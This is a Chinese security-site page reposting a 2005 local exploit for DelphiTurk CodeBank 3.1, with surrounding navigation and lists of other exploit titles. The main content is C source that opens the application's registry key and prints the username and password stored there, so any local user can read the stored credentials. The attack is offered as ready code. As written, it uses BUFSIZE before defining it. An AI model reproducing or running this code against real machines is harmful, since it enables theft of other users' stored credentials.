首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DelphiTurk CodeBank 3.1 Local Username and Passwor
来源:www.netmagister.com 作者:Kozan 发布时间:2005-02-20  

DelphiTurk CodeBank 3.1 Local Username and Passwor

DelphiTurk CodeBank Local Exploit

Application: DelphiTurk CodeBank 3.1 (and previous versions)
Procuder: Delphiturk.com
Vulnerable Description: Delhiturk CodeBank discloses username and password to
local users.


Coded by: Kozan
Web: www.netmagister.com
Mail: kozan[at]netmagister[dot]com

*******************************************************************/


#include <stdio.h>
#include <windows.h>

HKEY hKey;
char username[BUFSIZE], password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
#define BUFSIZE 100

int main(void)
{

if(RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\DelphiTurk\\Codebank",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "username", NULL, NULL,
(LPBYTE) username, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("En error occured!");
return 0;
}


lRet = RegQueryValueEx( hKey, "password", NULL, NULL,
(LPBYTE) password, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("En error occured!");
return 0;
}
RegCloseKey( hKey );
printf("DelphiTurk CodeBank Local Exploit by Kozan\n\n");
printf("Username: %s\n",username);
printf("Password: %s\n",password);


}
else{
printf("DelphiTurk Codebank is not installed on your system!");
}


return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DelphiTurk e-Posta v1.0 Local
·Thomson TCW690 POST Password V
·3com 3CDaemon FTP Unauthorized
·Cfengine RSA Authentication Re
·Medal of Honor Spearhead Dedic
·Nullsoft SHOUTcast v1.9.4 remo
·Typespeed Proof of Concept Loc
·Arkeia Backup Client Remote Ac
·Arkeia 5.3.x Type 77 Request R
·SHOUTcast DNAS/Linux v1.9.4 fo
·Arkeia 5.3.x Type 77 Request R
·Nullsoft SHOUTcast v1.9.4 remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved